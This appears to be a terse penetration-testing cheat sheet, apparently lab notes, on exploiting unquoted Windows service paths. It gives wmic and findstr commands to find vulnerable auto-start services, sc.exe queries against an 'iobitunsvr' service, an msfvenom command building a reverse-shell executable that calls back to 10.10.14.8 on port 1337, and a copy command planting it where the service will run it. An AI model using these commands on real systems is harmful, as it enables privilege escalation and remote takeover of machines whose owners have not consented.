Unquoted Service Paths

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

sc.exe qc iobitunsvr

sc.exe sdshow iobitunsvr

Create and drop a malicious executable

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=1337 -f exe -o Common.exe

copy C:\programdata\Common.exe C:\Program Files\Unquoted Path Service\Common.exe